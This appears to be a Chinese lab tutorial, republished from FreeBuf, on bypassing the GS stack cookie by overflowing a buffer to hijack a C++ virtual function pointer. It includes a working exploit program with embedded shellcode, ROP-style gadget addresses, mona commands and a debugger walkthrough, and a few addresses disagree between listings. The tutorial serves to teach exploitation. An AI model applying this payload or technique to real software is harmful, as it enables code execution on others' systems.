4

图解利用虚函数过GS保护

 4 years ago
source link: https://www.freebuf.com/vuls/238736.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

个人感觉利用虚函数过GS保护过程稍微会复杂些,因为涉及到多次跳转。为了写清楚利用虚函数过GS,本文从payload构造切入,着重描写payload构建过程,从而让读者明白利用虚函数过GS的细节;并且在payload构建过程,对跳转细节采用图解方式,让读者跳出代码,先理清楚整个逻辑关系,然后再载入payload,讲解整个payload运行过程。(需要说明的是文中的寻址图,仅仅为了更清楚的描述跳转过程,不完全代码在内存中的存储顺序)。balabala~~新手上路,请多多关爱,如有写的不好的地方,请轻喷,感谢!╮(╯▽╰)╭

一、GS保护

我们知道普通的栈溢出漏洞是通过覆盖返回地址,针对这一漏洞,微软在编译时使用了一个安全编译选项GS,Visual Studio默认启用了这个编译选项,如下图所示。

vm67vm2.jpg!web

开启GS保护后,在所有函数调用前,会先向栈内压入一个随机数,这个随机数被称作canary或者为security cookie,这个随机数是位于EBP之前,并且系统还会在.data内存区域存放一个security cookie的副本;在函数返回前,系统会执行安全验证操作,即call __security_check_cookie,去比较原先存放在栈中的canary和.data中副本的值,如果两者不一致,说明栈中发生了溢出,因此之前通过覆盖返回值来实现栈溢出是不可行的。因此开启了过GS保护的研究热潮,包括利用攻击异常过GS、利用虚函数过GS等。

突破思路:如果我们可以在程序检查security cookie之前劫持程序流程的话,就可以实现对程序的溢出了。

二、虚函数

在C++中,当成员函数被关键词virtual修饰时,我们将其称之为虚函数。首先我们需要知道虚函数入口地址被统一保存在虚表中。当对象在使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址进行函数调用。

BziyyiA.jpg!web

可以看到虚表指针地址和局部变量在内存空间中是紧接着的。因此猜想如果成员变量发生了溢出,是否可以覆盖 虚表指针将虚表指针指向payload ,通过精心构造payload能否成功执行shellcode?

三、利用虚函数过GS实例

3.1 实验环境

环境 备注 操作系统 win7 编译器 VS2015 编译选项 需要打开GS,关闭DEP,关闭ALSR,关闭safeseh和修改基址 具体下面有图 build版本 release

编译选项具体如下:

1)修改代码基址,如修改为0×41400000,避免代码中的strcpy存在00截断。

2)需要 打开GS :项目属性–>C/C++–>代码生成->安全检查->启用安全检查(GS)

nQvmyeV.jpg!web

3)关闭DEP,关闭ALSR,关闭safeseh,在项目->属性->链接器中依次修改。

7r2aye3.jpg!web

3.2代码分析

我们先给出利用虚函数过GS的完整代码,包括传入的payload,payload的构成后面会解释。

#include "stdafx.h"
#include <windows.h>
#pragma warning(disable:4996)//该行用来屏蔽strcpy的警告
class Vir {
public:
    void test(char* str)
    {
        char buf[0x100];//局部变量buf
        strcpy(buf, str);
        printf("buf:%d\n%s\n", strlen(buf), buf);
        this->virfun();//调用虚函数
    }
    virtual void virfun()
    {
        printf("I am virtual function\n");
    }
};
int main()
{
    Vir v;
    v.test("\x53\x13\x40\x41"//ppt指令序列地址   
        "\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址  
        "\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨    
        "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
        "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
        "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
        "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
        "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
        "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
        "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
        "\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//  
        "\x24\xfe\x18\x00");//原始参数地址
    getchar();
    if (1<0)
        _asm//防止内存中没有jmp esp指令
    {
        jmp esp
    }
    return 0;
}

代码分析:

1)类Vir中有个虚函数virfun()和成员函数test()。在成员函数test中,将传入的数据payload作为参数,并将其赋值到成员变量buf中,这里存在典型的溢出漏洞。
2)在函数test中也调用了虚函数virfun(),因此buf变量发生溢出有可能会影响到虚函数指针。
3)系统调用虚函数是在检查security cookie之前,因此可以在调用虚函数时,拿到程序控制,将其指向自己的payload。

各函数变量地址:为了更好的理解后面的payload构造,我们先给出代码中关键变量和虚函数相关地址。其中虚表指针地址为0x0018ff34,虚表地址为0×41402254,虚函数入口地址为0×41401070,调用虚函数virfun()即call 0×41401070。原始参数str首地址为0×41402138,局部变量buf地址为0x0018fe24。

rimaYrJ.jpg!web

通过虚函数过GS保护利用思路:主要是通过局部变量溢出,覆盖虚表指针值,将虚表指针指向我们精心构造的payload,下面我们就详细说明payload的构造过程。

3.3 payload构造

为了精准覆盖虚表指针,我们首先需要计算偏移量,即虚表指针地址与局部变量buf的距离,然后将虚表指针指向的虚表地址0×41402254覆盖成原始参数str的首地址0×41402138,即让虚表指针指向原始参数。

计算偏移量有很多种方法,可以直接手算虚表指针地址与局部变量buf的距离为0x0018ff34-0x0018fe24=0×00000110=272字节。如果遇到难算的可以利用Immunity Debugger工具生成字符串,然后计算偏移量。这里还是演示下做法。

(1)利用Immunity Debugger工具生成300字节的字符串

!mona pc 300  

vaEJ7ja.jpg!web

(2)打开Immunity Debugger工具所在目录的pattern.txt文件,得到300长度字符串:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

(3)传入300字符串,调试运行,报错,复制报错地址0x316A4130

yeUBR3R.jpg!web

(4)计算偏移量,得到偏移量为272

!mona po 0x316A4130   或者!mona po 0Aj1 

NnYnY3V.jpg!web

这时候的payload构成初步如下:

uUr2Ufq.jpg!web

虚函数寻址变成了下图所示。

qMzQ3mA.jpg!web

图中完成了将虚表指针指向原始参数str(0×41402138),实现了虚表指针跳到了原始参数上(原先的虚表),但是我们知道虚表指针跳到虚表,然后继续跳转到虚函数地址处,执行虚函数地址处的代码。因此下一步我们需要考虑虚函数地址填什么(图中问号???处)?即原始参数str(payload)前四个字节的值。这里我们需要考虑两个问题:

1) 图中问号处的内容必须是地址(可跳转),而不是数据

2) 面临着一个call操作,即call 虚函数地址,因此我们要考虑怎么能执行完call后,还可以回到shellcode内存空间继续执行呢?这里我们知道存储shellcode内存空间有两块,一个是原始参数str处(0×41402138),第二个是通过strcpy函数赋值成功的局部变量buf(0x0018fe24),这个时候我们需要观察栈和寄存器的状态,如下图所示。

IRVBve6.jpg!web

首先我们发现原始参数(0×41402138)不在栈中,因此无法跳回原始参数的内存空间继续执行,但是惊喜的发现buf首地址0x18FE24=ESP+4,又想到跳转后紧接着执行的是call操作,于是我们只需要执行“pop pop ret”指令序列(后面简称ppt)后就可以转到buf首地址0x0018FE24执行,因为call操作会将返回地址入栈,即esp为0x0018FE1C,然后pop pop ,在ret时,栈顶为0x0018FE24,就可以转到0x0018FE24处执行了。因此这时候,我们只需要找到ppt指令序列地址,可以利用Immunity Debugger工具找,加载当前exe,使用!mona seh 指令搜索ppt指令地址,如下图。我们搜到7个ppt指令序列地址,这里选择的要求为ppt指令序列操作不影响当前程序流程,因此选择不带ebp esp这种指令就可。这里我们选择的ppt指令序列地址为0×41401353。

JRbq2m.jpg!web

这时候的payload结构为:

RJn6F3z.jpg!web

写到这里,可能会想到ppt地址后,直接+shellcode+填充+原始参数地址,即可构成最后的payload,但是事实却没有这么简单,我看了很多网上的教程,大部分人都只写到了这里,便可以成功执行shellcode,但是我仔细调试了代码,发现是存在问题的。因为跳到buf内存后,0x0018FE24处是个ppt指令序列地址0×41401353,就会再一次执行ppt指令序列,因此又如何重新返回当前shellcode内存空间呢?这里我们先理下整体思路,如下图所示。 vYbymab.jpg!web

我们需要知道局部变量buf和原始参数的值都为payload数据。然后结合上图对跳转进行如下分析:

1跳:利用局部变量buf溢出,将虚表指针精准覆盖为原始参数地址0×41402138,因此通过虚表指针跳到原始参数地址处。

2跳:和经过分析栈状态,发现不可能跳回原始参数内存区域,但发现局部变量buf地址=当前esp+4,并且知道将执行call指令,结合 上述两点,只需要将虚函数地址填为ppt指令序列地址,即可完成跳到shellcode内存区域,即局部变量buf地址处。这里2跳是指将虚函数地址填充为ppt指令序列地址,然后执行虚函数,即call 0×41401353(ppt指令序列地址),将返回地址入栈。

3跳:跳转到ppt指令序列地址,执行pop ecx; pop ecx;后,栈顶为0x0018fe24,然后ret,跳到局部变量buf首地址处。

4跳:这个时候,跳到局部变量buf首地址处,发现,当前地址0x0018fe24内容为ppt指令序列地址0×41401353,因此会再一次pop两次出0x0018fe28和0x0018fe2C的值,然后执行ret指令,挑转到0x18ffe30处,EIP=???(图中),跳到???处。这个的???必须是地址,并且能够再次跳回shellcode栈空间执行,这时候观察堆栈状态,发现esp=0x0018fe34,因此很容易想到0x0018fe30处填的是jmp esp地址。

5跳:jmp esp,跳到0x0018FE34,执行shellcode。

3ENBniB.jpg!web

jmpesp地址可以利用Immunity Debugger工具搜索:得到jmpesp地址为0x414010af

指令:

!mona jmp -r esp

ZFRVje6.jpg!web

这里需要说明0x0018fe28和0x0018fe2C地址的值可以任意填充,不影响程序流程的指令即可,这里用“\x90”填充,因为他们只需要pop出去就可。

我习惯shellcode前加nop滑轨方便调试,因此综上分析,最终payload结构为:

ZZ7rEfV.jpg!web

"\x53\x13\x40\x41"   //ppt指令序列地址   
"\x90\x90\x90\x90\x90\x90\x90\x90\xaf\x10\x40\x41"//jmpesp地址*3  
"\x90\x90\x90\x90\x90\x90\x90\x90"   //nop滑轨    
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"//shellcode
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//滑轨  
"\x38\x21\x40\x41");//原始参数地址

3.4 代码跟踪

为了更好的理解利用虚函数过GS保护过程,最后我们利用构造好的payload,来跟踪下执行过程。这里只贴出关键点的图片。先看下各变量的地址。

uQ3yiaq.jpg!web

下图可以看到虚表指针(0x0018FF34)已经指向原始参数(0×41402138),原始参数也已经指向ppt指令序列地址(0×41401353)。

rm6Fvqr.jpg!web

下图,执行虚函数call 0×41402138(原始参数地址),并且可以看到当前esp+4=buf首地址(0x0018FF34)。

2y26Rrf.jpg!web

下图,执行call函数后,返回地址入栈,这时候可以看到当前esp为0x0018FE1C,然后继续执行ppt指令序列0×41401353,pop两次后,将栈顶esp0018FE24处的ppt序列指令0×41401353给EIP,再一次跳转到0×41401353地址。

BfaIBbv.jpg!web

下图,这时候看到当前esp为0x18FE28

77R3Irm.jpg!web

下图,执行Pop pop指令,将2个”\x90x90x90x90″pop出,当前esp=0x0018FE30,然后ret,将跳转到0x0018FE30处的0x414010af处(jmpesp地址)

BVBF3eF.jpg!web

跳到jmpesp指令地址,然后执行指令 jmp esp

rQveEze.jpg!web

重新跳回shellcode内存区域,0x0018FE34处,开始执行nop滑轨,紧接着为shellcode,这样就成功执行了shellcode。

zMVfMn7.jpg!web

FJfMnqJ.jpg!web

四、小结

思路:精准覆盖虚表指针为原始参数地址,然后利用PPT指令序列跳板,跳到局部变量内存区间,然后执行局部变量内存的PPT序列,再利用jmpesp跳板重新跳回局部变量内存空间,执行shellcode。这里需要说明的有两点:

1)我看到网上也有将虚表指针直接覆盖为局部变量地址,局部变量地址是0×00开头,虽然strcpy存在00截断,但是因为虚表指针放在payload最后面,即使最后个00字节截断,但是原有系统高位就是00,因此也可成功将虚表指针直接覆盖为局部变量地址。例如”\x24\xfe\x18\x00″。

2)无论是将虚表地址覆盖为原始参数地址还是局部变量地址,我跟踪的跳转流程和payload构造和本文写的差不多,但是我发现网上博客和书上都没有提到二次PPT,从而也没有用到jmpesp跳板,也成功执行了shellcode。这里我是保留疑问的,如果大家也有疑问可以互相交流。

REF

《0day安全:软件漏洞分析技术》

*本文作者:m01idu0du0,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK